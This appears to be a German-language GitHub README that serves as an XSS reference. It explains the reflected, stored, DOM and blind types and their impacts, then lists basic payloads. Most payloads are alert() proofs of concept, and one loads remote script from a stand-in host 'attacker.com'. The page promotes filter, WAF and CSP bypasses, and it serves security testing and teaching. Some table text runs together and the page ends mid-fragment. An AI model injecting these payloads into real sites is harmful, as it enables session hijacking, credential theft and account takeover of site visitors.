
Umfassende XSS-Referenz zu reflektierten, gespeicherten, DOM- und Blind-Payloads, Filter-Bypass, WAF-Umgehung, CSP-Bypass, mXSS und realen CVE-Fallstudien.
Die umfassendste XSS-Referenz auf GitHub.
Reflected · Stored · DOM · Blind XSS — Payloads, Filter-Bypasses, WAF-Evasion, CSP-Bypass, mXSS, Prototype-Pollution-Ketten und reale CVEs. Aktualisiert für 2026.
Payloads · Filter-Bypass · WAF-Evasion · DOM XSS · CSP-Bypass · Blind XSS · Fortgeschritten · Tools
Cross-Site Scripting (XSS) ist ein clientseitiger Code-Injection-Angriff, bei dem ein Angreifer bösartige Skripte in Inhalte einschleust, die von einer vertrauenswürdigen Webanwendung ausgeliefert werden. Wenn der Browser des Opfers die Seite rendert, wird das eingeschleuste Skript mit denselben Privilegien ausgeführt wie legitime Skripte von dieser Origin.
XSS steht durchgängig in den OWASP Top 10, weil die Auswirkungen schwerwiegend und die Angriffsfläche enorm sind:
| Auswirkung | Beschreibung |
|---|---|
| Session Hijacking | document.cookie stehlen und authentifizierte Sitzungen übernehmen |
| Account Takeover | E-Mail/Passwort über gefälschte Anfragen mit der Sitzung des Opfers ändern |
| Keylogging | Jeden Tastendruck erfassen, einschließlich Passwörtern und Kreditkartennummern |
| Phishing | Gefälschte Anmeldeformulare einschleusen, die Anmeldedaten an den Angreifer übermitteln |
| Defacement | Seiteninhalte ändern, um Fehlinformationen zu verbreiten oder das Ziel zu blamieren |
| Malware-Verbreitung | Opfer auf Exploit-Kits umleiten |
| Crypto-Mining | Cryptominer in den Browsern der Opfer ausführen |
| SSRF / Interner Portscan | Den Browser des Opfers nutzen, um das interne Netzwerk zu sondieren |
| Credential Harvesting | Automatisch ausgefüllte Anmeldedaten aus dem DOM auslesen |
| Screenshot / Webcam | Bildschirm über getDisplayMedia() erfassen, Webcam über getUserMedia() |
XSS hebelt die Same-Origin-Policy (SOP) aus. Da das bösartige Skript vom Ziel-Ursprung ausgeliefert wird, behandelt der Browser es als vertrauenswürdig. Das bedeutet, XSS verschafft einem Angreifer:
HttpOnly geschützt sindlocalStorage und sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| Typ | Persistenz | Wen es trifft | Sieht der Server die Payload? |
|---|---|---|---|
| Reflected | Nein | Gezieltes Opfer | Ja |
| Stored | Ja | Alle Besucher | Ja |
| DOM | Nein | Gezieltes Opfer | Normalerweise nein |
| Blind | Ja (remote) | Admin / Backend-Benutzer | Ja (am Injektionspunkt) |
Die grundlegenden Payloads, die jeder Sicherheitsforscher kennt. Diese funktionieren, wo keine Filterung vorhanden ist.
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert blockiert wird)